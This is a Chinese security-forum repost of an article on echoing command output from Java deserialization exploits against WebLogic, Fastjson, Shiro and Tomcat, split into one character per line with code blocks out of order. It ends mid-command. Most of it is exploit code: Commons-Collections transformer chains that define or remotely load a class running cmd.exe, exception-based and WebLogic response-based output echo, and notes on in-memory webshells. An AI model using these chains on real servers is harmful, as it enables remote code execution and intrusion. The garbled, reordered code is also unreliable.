论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
逆向
[1093] 2020-05-16_Java反序列化回显的多种姿势
文档创建者:
s7ckTeam
浏览次数:
11
最后更新:
2025-01-16
逆向
11 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-56
6万
主题
-6万
回帖
-56
积分
管理员
积分
-56
发消息
2020-05-16_Java反序列化回显的多种姿势
J
a
v
a
反
序
列
化
回
显
的
多
种
姿
势
Y
4
e
r
C
h
a
B
u
g
2
0
2
0
-
0
5
-
1
6
今
天
大
家
聊
一
聊
反
序
列
化
回
显
的
问
题
(
小
编
密
码
想
起
来
了
!
)
写
在
文
前
在
研
究
w
e
b
l
o
g
i
c
、
f
a
s
t
j
s
o
n
、
s
h
i
r
o
反
序
列
化
漏
洞
时
,
多
次
遇
到
了
回
显
问
题
,
本
文
将
从
以
下
几
种
角
度
出
发
来
分
别
探
讨
反
序
列
化
回
显
的
问
题
,
也
感
谢
各
位
师
傅
们
的
反
序
列
化
回
显
研
究
。
1
.
d
e
f
i
n
e
C
l
a
s
s
2
.
R
M
I
绑
定
实
例
3
.
U
R
L
C
l
a
s
s
L
o
a
d
e
r
抛
出
异
常
4
.
中
间
件
5
.
写
文
件
c
s
s
、
j
s
6
.
d
n
s
l
o
g
d
e
f
i
n
e
C
l
a
s
s
先
说
d
e
f
i
n
e
C
l
a
s
s
这
个
东
西
是
因
为
下
面
的
几
种
方
式
都
是
在
其
基
础
上
进
行
改
进
。
d
e
f
i
n
e
C
l
a
s
s
归
属
于
C
l
a
s
s
L
o
a
d
e
r
类
,
其
主
要
作
用
就
是
使
用
编
译
好
的
字
节
码
就
可
以
定
义
一
个
类
。
形
如
R
M
I
绑
定
实
例
之
前
写
过
一
篇
《
W
e
b
l
o
g
i
c
使
用
C
l
a
s
s
L
o
a
d
e
r
和
R
M
I
来
回
显
命
令
执
行
结
果
》
,
其
中
提
到
了
使
用
c
o
m
m
o
n
s
-
c
o
l
l
e
c
t
i
o
n
反
射
调
用
d
e
f
i
n
e
C
l
a
s
s
,
通
过
d
e
f
i
n
e
C
l
a
s
s
定
义
的
恶
意
命
令
执
行
字
节
码
来
绑
定
R
M
I
实
例
,
接
着
通
过
R
M
I
调
用
绑
定
的
实
例
拿
到
回
显
结
果
。
其
中
最
关
键
的
代
码
就
下
面
几
行
p
a
c
k
a
g
e
c
o
m
.
t
e
s
t
.
C
l
a
s
s
L
o
a
d
e
r
;
i
m
p
o
r
t
j
a
v
a
.
l
a
n
g
.
r
e
f
l
e
c
t
.
M
e
t
h
o
d
;
p
u
b
l
i
c
c
l
a
s
s
M
y
C
l
a
s
s
L
o
a
d
e
r
e
x
t
e
n
d
s
C
l
a
s
s
L
o
a
d
e
r
{
p
r
i
v
a
t
e
s
t
a
t
i
c
S
t
r
i
n
g
m
y
C
l
a
s
s
N
a
m
e
=
"
c
o
m
.
t
e
s
t
.
C
l
a
s
s
L
o
a
d
e
r
.
H
e
l
l
o
W
o
r
l
d
"
;
p
r
i
v
a
t
e
s
t
a
t
i
c
b
y
t
e
[
]
b
s
=
n
e
w
b
y
t
e
[
]
{
-
5
4
,
-
2
,
-
7
0
,
-
6
6
,
0
,
0
,
0
,
5
2
,
0
,
3
6
,
1
0
,
0
,
7
,
0
,
2
2
,
9
,
0
,
2
3
,
0
,
2
4
,
8
,
0
,
2
5
,
1
0
,
0
,
2
6
,
0
,
2
7
,
8
,
0
,
1
9
,
7
,
0
,
2
8
,
7
,
0
,
2
9
,
1
,
0
,
6
,
6
0
,
1
0
5
,
1
1
0
,
1
0
5
,
1
1
6
,
6
2
}
;
p
u
b
l
i
c
s
t
a
t
i
c
v
o
i
d
m
a
i
n
(
S
t
r
i
n
g
[
]
a
r
g
s
)
{
t
r
y
{
M
y
C
l
a
s
s
L
o
a
d
e
r
l
o
a
d
e
r
=
n
e
w
M
y
C
l
a
s
s
L
o
a
d
e
r
(
)
;
C
l
a
s
s
h
e
l
l
o
C
l
a
s
s
=
l
o
a
d
e
r
.
l
o
a
d
C
l
a
s
s
(
m
y
C
l
a
s
s
N
a
m
e
)
;
O
b
j
e
c
t
o
b
j
=
h
e
l
l
o
C
l
a
s
s
.
n
e
w
I
n
s
t
a
n
c
e
(
)
;
M
e
t
h
o
d
m
e
t
h
o
d
=
o
b
j
.
g
e
t
C
l
a
s
s
(
)
.
g
e
t
M
e
t
h
o
d
(
"
t
e
s
t
"
)
;
m
e
t
h
o
d
.
i
n
v
o
k
e
(
n
u
l
l
)
;
}
c
a
t
c
h
(
E
x
c
e
p
t
i
o
n
e
)
{
e
.
p
r
i
n
t
S
t
a
c
k
T
r
a
c
e
(
)
;
}
}
@
O
v
e
r
r
i
d
e
p
r
o
t
e
c
t
e
d
C
l
a
s
s
<
?
>
f
i
n
d
C
l
a
s
s
(
S
t
r
i
n
g
n
a
m
e
)
t
h
r
o
w
s
C
l
a
s
s
N
o
t
F
o
u
n
d
E
x
c
e
p
t
i
o
n
{
i
f
(
n
a
m
e
=
=
m
y
C
l
a
s
s
N
a
m
e
)
{
S
y
s
t
e
m
.
o
u
t
.
p
r
i
n
t
l
n
(
"
加
载
"
+
n
a
m
e
+
"
类
"
)
;
r
e
t
u
r
n
d
e
f
i
n
e
C
l
a
s
s
(
m
y
C
l
a
s
s
N
a
m
e
,
b
s
,
0
,
b
s
.
l
e
n
g
t
h
)
;
}
r
e
t
u
r
n
s
u
p
e
r
.
f
i
n
d
C
l
a
s
s
(
n
a
m
e
)
;
}
}
/
/
c
o
m
m
o
n
-
c
o
l
l
e
c
t
i
o
n
1
构
造
t
r
a
n
s
f
o
r
m
e
r
s
定
义
自
己
的
R
M
I
接
口
T
r
a
n
s
f
o
r
m
e
r
[
]
t
r
a
n
s
f
o
r
m
e
r
s
=
n
e
w
T
r
a
n
s
f
o
r
m
e
r
[
]
{
n
e
w
C
o
n
s
t
a
n
t
T
r
a
n
s
f
o
r
m
e
r
(
D
e
f
i
n
i
n
g
C
l
a
s
s
L
o
a
d
e
r
.
c
l
a
s
s
)
,
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
g
e
t
D
e
c
l
a
r
e
d
C
o
n
s
t
r
u
c
t
o
r
"
,
n
e
w
C
l
a
s
s
[
]
{
C
l
a
s
s
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
n
e
w
C
l
a
s
s
[
0
]
}
)
,
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
n
e
w
I
n
s
t
a
n
c
e
"
,
n
e
w
C
l
a
s
s
[
]
{
O
b
j
e
c
t
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
n
e
w
O
b
j
e
c
t
[
0
]
}
)
,
使
用
c
c
链
进
行
反
射
调
用
,
其
中
c
l
a
s
s
N
a
m
e
为
恶
意
命
令
执
行
类
,
形
如
,
继
承
自
R
e
m
o
t
e
接
口
的
实
现
,
c
l
a
s
s
B
y
t
e
s
为
该
类
字
节
码
数
组
,
将
该
类
对
象
绑
定
在
实
例
上
,
进
而
通
过
J
N
D
I
调
用
H
e
l
l
o
即
可
。
U
R
L
C
l
a
s
s
L
o
a
d
e
r
抛
出
异
常
通
过
将
回
显
结
果
封
装
到
异
常
信
息
抛
出
拿
到
回
显
。
首
先
写
一
下
执
行
命
令
的
类
打
j
a
r
包
使
用
U
R
L
C
l
a
s
s
L
o
a
d
e
r
加
载
j
a
r
获
得
回
显
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
d
e
f
i
n
e
C
l
a
s
s
"
,
n
e
w
C
l
a
s
s
[
]
{
S
t
r
i
n
g
.
c
l
a
s
s
,
b
y
t
e
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
c
l
a
s
s
N
a
m
e
,
c
l
a
s
s
B
y
t
e
s
}
)
,
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
g
e
t
M
e
t
h
o
d
"
,
n
e
w
C
l
a
s
s
[
]
{
S
t
r
i
n
g
.
c
l
a
s
s
,
C
l
a
s
s
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
"
m
a
i
n
"
,
n
e
w
C
l
a
s
s
[
]
{
S
t
r
i
n
g
[
]
.
c
l
a
s
s
}
}
)
,
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
i
n
v
o
k
e
"
,
n
e
w
C
l
a
s
s
[
]
{
O
b
j
e
c
t
.
c
l
a
s
s
,
O
b
j
e
c
t
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
n
u
l
l
,
n
e
w
O
b
j
e
c
t
[
]
{
n
u
l
l
}
}
)
,
n
e
w
C
o
n
s
t
a
n
t
T
r
a
n
s
f
o
r
m
e
r
(
n
e
w
H
a
s
h
S
e
t
(
)
)
}
;
c
o
m
.
t
e
s
t
.
p
a
y
l
o
a
d
.
R
e
m
o
t
e
I
m
p
l
r
m
i
:
/
/
1
2
7
.
0
.
0
.
1
:
1
0
9
9
/
H
e
l
l
o
i
m
p
o
r
t
j
a
v
a
.
i
o
.
*
;
i
m
p
o
r
t
j
a
v
a
.
n
i
o
.
c
h
a
r
s
e
t
.
C
h
a
r
s
e
t
;
p
u
b
l
i
c
c
l
a
s
s
P
r
o
c
e
s
s
E
x
e
c
{
p
u
b
l
i
c
P
r
o
c
e
s
s
E
x
e
c
(
S
t
r
i
n
g
c
m
d
)
t
h
r
o
w
s
E
x
c
e
p
t
i
o
n
{
I
n
p
u
t
S
t
r
e
a
m
s
t
r
e
a
m
=
(
n
e
w
P
r
o
c
e
s
s
B
u
i
l
d
e
r
(
n
e
w
S
t
r
i
n
g
[
]
{
"
c
m
d
.
e
x
e
"
,
"
/
c
"
,
c
m
d
}
)
)
.
s
t
a
r
t
(
)
.
g
e
t
I
n
p
u
t
S
t
r
e
a
m
(
)
;
I
n
p
u
t
S
t
r
e
a
m
R
e
a
d
e
r
s
t
r
e
a
m
R
e
a
d
e
r
=
n
e
w
I
n
p
u
t
S
t
r
e
a
m
R
e
a
d
e
r
(
s
t
r
e
a
m
,
C
h
a
r
s
e
t
.
f
o
r
N
a
m
e
(
"
g
b
k
"
)
)
;
B
u
f
f
e
r
e
d
R
e
a
d
e
r
b
u
f
f
e
r
e
d
R
e
a
d
e
r
=
n
e
w
B
u
f
f
e
r
e
d
R
e
a
d
e
r
(
s
t
r
e
a
m
R
e
a
d
e
r
)
;
S
t
r
i
n
g
B
u
f
f
e
r
b
u
f
f
e
r
=
n
e
w
S
t
r
i
n
g
B
u
f
f
e
r
(
)
;
S
t
r
i
n
g
l
i
n
e
=
n
u
l
l
;
w
h
i
l
e
(
(
l
i
n
e
=
b
u
f
f
e
r
e
d
R
e
a
d
e
r
.
r
e
a
d
L
i
n
e
(
)
)
!
=
n
u
l
l
)
{
b
u
f
f
e
r
.
a
p
p
e
n
d
(
l
i
n
e
)
.
a
p
p
e
n
d
(
"
n
"
)
;
}
t
h
r
o
w
n
e
w
E
x
c
e
p
t
i
o
n
(
b
u
f
f
e
r
.
t
o
S
t
r
i
n
g
(
)
)
;
}
}
j
a
v
a
c
P
r
o
c
e
s
s
E
x
e
c
.
j
a
v
a
j
a
r
-
c
v
f
p
.
j
a
r
P
r
o
c
e
s
s
E
x
e
c
.
c
l
a
s
s
p
a
c
k
a
g
e
p
a
y
l
o
a
d
;
i
m
p
o
r
t
j
a
v
a
.
l
a
n
g
.
r
e
f
l
e
c
t
.
C
o
n
s
t
r
u
c
t
o
r
;
i
m
p
o
r
t
j
a
v
a
.
n
e
t
.
U
R
L
;
i
m
p
o
r
t
j
a
v
a
.
n
e
t
.
U
R
L
C
l
a
s
s
L
o
a
d
e
r
;
p
u
b
l
i
c
c
l
a
s
s
U
R
L
C
l
a
s
s
l
o
a
d
e
r
{
p
u
b
l
i
c
s
t
a
t
i
c
v
o
i
d
m
a
i
n
(
S
t
r
i
n
g
[
]
a
r
g
s
)
t
h
r
o
w
s
E
x
c
e
p
t
i
o
n
{
U
R
L
u
r
l
=
n
e
w
U
R
L
(
"
h
t
t
p
:
/
/
1
2
7
.
0
.
0
.
1
/
p
.
j
a
r
"
)
;
U
R
L
[
]
u
r
l
s
=
{
u
r
l
}
;
U
R
L
C
l
a
s
s
L
o
a
d
e
r
u
r
l
C
l
a
s
s
L
o
a
d
e
r
=
U
R
L
C
l
a
s
s
L
o
a
d
e
r
.
n
e
w
I
n
s
t
a
n
c
e
(
u
r
l
s
)
;
C
o
n
s
t
r
u
c
t
o
r
<
?
>
p
r
o
c
e
s
s
E
x
e
c
=
u
r
l
C
l
a
s
s
L
o
a
d
e
r
.
l
o
a
d
C
l
a
s
s
(
"
P
r
o
c
e
s
s
E
x
e
c
"
)
.
g
e
t
C
o
n
s
t
r
u
c
t
o
r
(
S
t
r
i
n
g
.
c
l
a
s
s
)
;
p
r
o
c
e
s
s
E
x
e
c
.
n
e
w
I
n
s
t
a
n
c
e
(
"
i
p
c
o
n
f
i
g
"
)
;
}
}
使
用
U
R
L
C
l
a
s
s
L
o
a
d
e
r
的
部
份
可
以
通
过
c
c
链
反
射
去
做
p
a
c
k
a
g
e
p
a
y
l
o
a
d
;
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
T
r
a
n
s
f
o
r
m
e
r
;
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
f
u
n
c
t
o
r
s
.
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
;
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
f
u
n
c
t
o
r
s
.
C
o
n
s
t
a
n
t
T
r
a
n
s
f
o
r
m
e
r
;
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
f
u
n
c
t
o
r
s
.
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
;
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
k
e
y
v
a
l
u
e
.
T
i
e
d
M
a
p
E
n
t
r
y
;
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
m
a
p
.
L
a
z
y
M
a
p
;
i
m
p
o
r
t
j
a
v
a
x
.
m
a
n
a
g
e
m
e
n
t
.
B
a
d
A
t
t
r
i
b
u
t
e
V
a
l
u
e
E
x
p
E
x
c
e
p
t
i
o
n
;
i
m
p
o
r
t
j
a
v
a
.
i
o
.
F
i
l
e
I
n
p
u
t
S
t
r
e
a
m
;
i
m
p
o
r
t
j
a
v
a
.
i
o
.
F
i
l
e
O
u
t
p
u
t
S
t
r
e
a
m
;
i
m
p
o
r
t
j
a
v
a
.
i
o
.
O
b
j
e
c
t
I
n
p
u
t
S
t
r
e
a
m
;
i
m
p
o
r
t
j
a
v
a
.
i
o
.
O
b
j
e
c
t
O
u
t
p
u
t
S
t
r
e
a
m
;
i
m
p
o
r
t
j
a
v
a
.
l
a
n
g
.
r
e
f
l
e
c
t
.
F
i
e
l
d
;
i
m
p
o
r
t
j
a
v
a
.
n
e
t
.
U
R
L
;
i
m
p
o
r
t
j
a
v
a
.
n
e
t
.
U
R
L
C
l
a
s
s
L
o
a
d
e
r
;
i
m
p
o
r
t
j
a
v
a
.
u
t
i
l
.
H
a
s
h
M
a
p
;
i
m
p
o
r
t
j
a
v
a
.
u
t
i
l
.
M
a
p
;
c
l
a
s
s
C
o
m
m
o
n
s
C
o
l
l
e
c
t
i
o
n
s
5
U
R
L
C
l
a
s
s
L
o
a
d
e
r
{
p
u
b
l
i
c
s
t
a
t
i
c
v
o
i
d
m
a
i
n
(
S
t
r
i
n
g
[
]
a
r
g
s
)
t
h
r
o
w
s
E
x
c
e
p
t
i
o
n
{
T
r
a
n
s
f
o
r
m
e
r
[
]
t
r
a
n
s
f
o
r
m
e
r
s
=
n
e
w
T
r
a
n
s
f
o
r
m
e
r
[
]
{
n
e
w
C
o
n
s
t
a
n
t
T
r
a
n
s
f
o
r
m
e
r
(
U
R
L
C
l
a
s
s
L
o
a
d
e
r
.
c
l
a
s
s
)
,
/
/
获
取
构
造
方
法
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
g
e
t
C
o
n
s
t
r
u
c
t
o
r
"
,
n
e
w
C
l
a
s
s
[
]
{
C
l
a
s
s
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
n
e
w
C
l
a
s
s
[
]
{
j
a
v
a
.
n
e
t
.
U
R
L
[
]
.
c
l
a
s
s
}
}
)
,
/
/
n
e
w
实
例
并
赋
值
u
r
l
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
n
e
w
I
n
s
t
a
n
c
e
"
,
n
e
w
C
l
a
s
s
[
]
{
O
b
j
e
c
t
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
n
e
w
O
b
j
e
c
t
[
]
{
n
e
w
U
R
L
[
]
{
n
e
w
U
R
L
(
"
h
t
t
p
:
/
/
1
2
7
.
0
.
0
.
1
/
p
.
j
a
r
"
)
}
}
}
)
,
/
/
l
o
a
d
C
l
a
s
s
加
载
P
r
o
c
e
s
s
E
x
e
c
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
l
o
a
d
C
l
a
s
s
"
,
n
e
w
C
l
a
s
s
[
]
{
S
t
r
i
n
g
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
"
P
r
o
c
e
s
s
E
x
e
c
"
}
)
,
/
/
获
取
P
r
o
c
e
s
s
E
x
e
c
的
构
造
方
法
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
g
e
t
C
o
n
s
t
r
u
c
t
o
r
"
,
n
e
w
C
l
a
s
s
[
]
{
C
l
a
s
s
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
n
e
w
C
l
a
s
s
[
]
{
S
t
r
i
n
g
.
c
l
a
s
s
}
}
)
,
/
/
实
例
化
P
r
o
c
e
s
s
E
x
e
c
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
n
e
w
I
n
s
t
a
n
c
e
"
,
n
e
w
C
l
a
s
s
[
]
{
O
b
j
e
c
t
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
n
e
w
S
t
r
i
n
g
[
]
{
"
i
p
c
o
n
f
i
g
"
}
}
)
}
;
T
r
a
n
s
f
o
r
m
e
r
c
h
a
i
n
=
n
e
w
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
(
t
r
a
n
s
f
o
r
m
e
r
s
)
;
M
a
p
m
a
p
=
n
e
w
H
a
s
h
M
a
p
(
)
;
M
a
p
l
a
z
y
M
a
p
=
L
a
z
y
M
a
p
.
d
e
c
o
r
a
t
e
(
m
a
p
,
c
h
a
i
n
)
;
T
i
e
d
M
a
p
E
n
t
r
y
e
n
t
r
y
=
n
e
w
T
i
e
d
M
a
p
E
n
t
r
y
(
l
a
z
y
M
a
p
,
"
"
)
;
B
a
d
A
t
t
r
i
b
u
t
e
V
a
l
u
e
E
x
p
E
x
c
e
p
t
i
o
n
b
a
d
A
t
t
r
i
b
u
t
e
V
a
l
u
e
E
x
p
E
x
c
e
p
t
i
o
n
=
n
e
w
B
a
d
A
t
t
r
i
b
u
t
e
V
a
l
u
e
E
x
p
E
x
c
e
p
t
i
o
n
(
e
n
t
r
y
)
;
F
i
e
l
d
f
i
e
l
d
=
b
a
d
A
t
t
r
i
b
u
t
e
V
a
l
u
e
E
x
p
E
x
c
e
p
t
i
o
n
.
g
e
t
C
l
a
s
s
(
)
.
g
e
t
D
e
c
l
a
r
e
d
F
i
e
l
d
(
"
v
a
l
"
)
;
f
i
e
l
d
.
s
e
t
A
c
c
e
s
s
i
b
l
e
(
t
r
u
e
)
;
f
i
e
l
d
.
s
e
t
(
b
a
d
A
t
t
r
i
b
u
t
e
V
a
l
u
e
E
x
p
E
x
c
e
p
t
i
o
n
,
e
n
t
r
y
)
;
s
e
r
i
a
l
i
z
e
(
b
a
d
A
t
t
r
i
b
u
t
e
V
a
l
u
e
E
x
p
E
x
c
e
p
t
i
o
n
)
;
d
e
s
e
r
i
a
l
i
z
e
(
)
;
}
p
u
b
l
i
c
s
t
a
t
i
c
v
o
i
d
s
e
r
i
a
l
i
z
e
(
O
b
j
e
c
t
o
b
j
)
{
这
个
例
子
大
多
出
现
在
j
b
o
s
s
和
f
a
s
t
j
s
o
n
中
,
灵
活
使
用
。
中
间
件
回
显
中
间
件
而
言
多
数
重
写
了
t
h
r
e
a
d
类
,
在
t
h
r
e
a
d
中
保
存
了
r
e
q
和
r
e
s
p
,
可
以
通
过
获
取
当
前
线
程
,
在
r
e
s
p
中
写
入
回
显
结
果
这
种
方
法
前
几
天
在
先
知
上
有
很
多
针
对
t
o
m
c
a
t
无
回
显
的
文
章
,
为
各
位
师
傅
的
文
章
画
一
下
时
间
线
:
1
.
《
基
于
内
存
W
e
b
s
h
e
l
l
的
无
文
件
攻
击
技
术
研
究
》
主
要
应
用
于
S
p
r
i
n
g
2
.
《
l
i
n
u
x
下
j
a
v
a
反
序
列
化
通
杀
回
显
方
法
的
低
配
版
实
现
》
将
回
显
结
果
写
入
文
件
操
作
符
3
.
《
T
o
m
c
a
t
中
一
种
半
通
用
回
显
方
法
》
将
执
行
命
令
的
结
果
存
入
t
o
m
c
a
t
的
r
e
s
p
o
n
s
e
返
回
s
h
i
r
o
无
法
回
显
4
.
《
基
于
t
o
m
c
a
t
的
内
存
W
e
b
s
h
e
l
l
无
文
件
攻
击
技
术
》
动
态
注
册
f
i
l
t
e
r
实
现
回
显
s
h
i
r
o
无
法
回
显
5
.
《
基
于
全
局
储
存
的
新
思
路
|
T
o
m
c
a
t
的
一
种
通
用
回
显
方
法
研
究
》
通
过
T
h
r
e
a
d
.
c
u
r
r
e
n
t
T
h
r
e
a
d
.
g
e
t
C
o
n
t
e
x
t
C
l
a
s
s
L
o
a
d
e
r
(
)
拿
到
r
e
q
u
e
s
t
、
r
e
s
p
o
n
s
e
回
显
t
o
m
c
a
t
7
中
获
取
不
到
S
t
a
n
d
a
r
d
C
o
n
t
e
x
t
6
.
《
t
o
m
c
a
t
不
出
网
回
显
连
续
剧
第
六
集
》
直
接
从
R
e
g
i
s
t
e
r
拿
到
p
r
o
c
e
s
s
对
应
的
r
e
q
不
再
赘
述
了
,
具
体
实
现
文
章
都
有
了
。
值
得
一
提
的
思
路
可
能
就
是
反
序
列
化
不
仅
仅
可
以
回
显
,
也
可
以
配
合
反
射
和
字
节
码
动
态
注
册
s
e
r
v
l
e
t
实
现
无
内
存
w
e
b
s
h
e
l
l
。
在
w
e
b
l
o
g
i
c
中
也
有
r
e
s
p
回
显
,
具
体
代
码
在
《
w
e
b
l
o
g
i
c
_
2
0
1
9
_
2
7
2
5
p
o
c
与
回
显
构
造
》
l
u
f
e
i
师
傅
已
经
给
出
来
了
w
e
b
l
o
g
i
c
1
0
.
3
.
6
w
e
b
l
o
g
i
c
1
2
.
1
.
3
写
文
件
通
过
搜
索
特
殊
文
件
路
径
直
接
写
入
w
e
b
可
访
问
的
目
录
,
要
熟
悉
常
用
中
间
件
容
器
的
目
录
结
构
,
比
如
在
我
w
e
b
目
录
有
一
个
特
殊
的
t
e
s
t
.
h
t
m
l
l
i
n
u
x
用
b
a
s
h
p
u
b
l
i
c
s
t
a
t
i
c
v
o
i
d
s
e
r
i
a
l
i
z
e
(
O
b
j
e
c
t
o
b
j
)
{
t
r
y
{
O
b
j
e
c
t
O
u
t
p
u
t
S
t
r
e
a
m
o
s
=
n
e
w
O
b
j
e
c
t
O
u
t
p
u
t
S
t
r
e
a
m
(
n
e
w
F
i
l
e
O
u
t
p
u
t
S
t
r
e
a
m
(
"
t
e
s
t
.
s
e
r
"
)
)
;
o
s
.
w
r
i
t
e
O
b
j
e
c
t
(
o
b
j
)
;
o
s
.
c
l
o
s
e
(
)
;
}
c
a
t
c
h
(
E
x
c
e
p
t
i
o
n
e
)
{
e
.
p
r
i
n
t
S
t
a
c
k
T
r
a
c
e
(
)
;
}
}
p
u
b
l
i
c
s
t
a
t
i
c
v
o
i
d
d
e
s
e
r
i
a
l
i
z
e
(
)
{
t
r
y
{
O
b
j
e
c
t
I
n
p
u
t
S
t
r
e
a
m
i
s
=
n
e
w
O
b
j
e
c
t
I
n
p
u
t
S
t
r
e
a
m
(
n
e
w
F
i
l
e
I
n
p
u
t
S
t
r
e
a
m
(
"
t
e
s
t
.
s
e
r
"
)
)
;
i
s
.
r
e
a
d
O
b
j
e
c
t
(
)
;
}
c
a
t
c
h
(
E
x
c
e
p
t
i
o
n
e
)
{
e
.
p
r
i
n
t
S
t
a
c
k
T
r
a
c
e
(
)
;
}
}
}
S
t
r
i
n
g
l
f
c
m
d
=
(
(
w
e
b
l
o
g
i
c
.
s
e
r
v
l
e
t
.
i
n
t
e
r
n
a
l
.
S
e
r
v
l
e
t
R
e
q
u
e
s
t
I
m
p
l
)
(
(
w
e
b
l
o
g
i
c
.
w
o
r
k
.
E
x
e
c
u
t
e
T
h
r
e
a
d
)
T
h
r
e
a
d
.
c
u
r
r
e
n
t
T
h
r
e
a
d
(
)
)
.
g
e
t
C
u
r
r
e
n
t
W
o
r
k
(
)
)
.
g
e
t
H
e
a
d
e
r
(
"
l
f
c
m
d
"
)
;
w
e
b
l
o
g
i
c
.
s
e
r
v
l
e
t
.
i
n
t
e
r
n
a
l
.
S
e
r
v
l
e
t
R
e
s
p
o
n
s
e
I
m
p
l
r
e
s
p
o
n
s
e
=
(
(
w
e
b
l
o
g
i
c
.
s
e
r
v
l
e
t
.
i
n
t
e
r
n
a
l
.
S
e
r
v
l
e
t
R
e
q
u
e
s
t
I
m
p
l
)
(
(
w
e
b
l
o
g
i
c
.
w
o
r
k
.
E
x
e
c
u
t
e
T
h
r
e
a
d
)
T
h
r
e
a
d
.
c
u
r
r
e
n
t
T
h
r
e
a
d
(
)
)
.
g
e
t
C
u
r
r
e
n
t
W
o
r
k
(
)
)
.
g
e
t
R
e
s
p
o
n
s
e
(
)
;
w
e
b
l
o
g
i
c
.
s
e
r
v
l
e
t
.
i
n
t
e
r
n
a
l
.
S
e
r
v
l
e
t
O
u
t
p
u
t
S
t
r
e
a
m
I
m
p
l
o
u
t
p
u
t
S
t
r
e
a
m
=
r
e
s
p
o
n
s
e
.
g
e
t
S
e
r
v
l
e
t
O
u
t
p
u
t
S
t
r
e
a
m
(
)
;
o
u
t
p
u
t
S
t
r
e
a
m
.
w
r
i
t
e
S
t
r
e
a
m
(
n
e
w
w
e
b
l
o
g
i
c
.
x
m
l
.
u
t
i
l
.
S
t
r
i
n
g
I
n
p
u
t
S
t
r
e
a
m
(
l
f
c
m
d
)
)
;
o
u
t
p
u
t
S
t
r
e
a
m
.
f
l
u
s
h
(
)
;
r
e
s
p
o
n
s
e
.
g
e
t
W
r
i
t
e
r
(
)
.
w
r
i
t
e
(
"
"
)
;
j
a
v
a
.
l
a
n
g
.
r
e
f
l
e
c
t
.
F
i
e
l
d
f
i
e
l
d
=
(
(
w
e
b
l
o
g
i
c
.
s
e
r
v
l
e
t
.
p
r
o
v
i
d
e
r
.
C
o
n
t
a
i
n
e
r
S
u
p
p
o
r
t
P
r
o
v
i
d
e
r
I
m
p
l
.
W
l
s
R
e
q
u
e
s
t
E
x
e
c
u
t
o
r
)
t
h
i
s
.
g
e
t
C
u
r
r
e
n
t
W
o
r
k
(
)
)
.
g
e
t
C
l
a
s
s
(
)
.
g
e
t
D
e
c
l
a
r
e
d
F
i
e
l
d
(
"
c
o
n
n
e
c
t
i
o
n
H
a
n
d
l
e
r
"
f
i
e
l
d
.
s
e
t
A
c
c
e
s
s
i
b
l
e
(
t
r
u
e
)
;
H
t
t
p
C
o
n
n
e
c
t
i
o
n
H
a
n
d
l
e
r
h
t
t
p
C
o
n
n
=
(
H
t
t
p
C
o
n
n
e
c
t
i
o
n
H
a
n
d
l
e
r
)
f
i
e
l
d
.
g
e
t
(
t
h
i
s
.
g
e
t
C
u
r
r
e
n
t
W
o
r
k
(
)
)
;
h
t
t
p
C
o
n
n
.
g
e
t
S
e
r
v
l
e
t
R
e
q
u
e
s
t
(
)
.
g
e
t
R
e
s
p
o
n
s
e
(
)
.
g
e
t
S
e
r
v
l
e
t
O
u
t
p
u
t
S
t
r
e
a
m
(
)
.
w
r
i
t
e
S
t
r
e
a
m
(
n
e
w
w
e
b
l
o
g
i
c
.
x
m
l
.
u
t
i
l
.
S
t
r
i
n
g
I
n
p
u
t
S
t
r
e
a
m
(
"
x
x
x
x
x
x
"
)
)
;
/
/
进
入
t
e
s
t
.
h
t
m
l
的
根
目
录
并
执
行
i
d
命
令
写
入
1
.
t
x
t
c
d
$
(
f
i
n
d
-
n
a
m
e
"
t
e
s
t
.
h
t
m
l
"
-
t
y
p
e
f
-
e
x
e
c
d
i
r
n
a
m
e
{
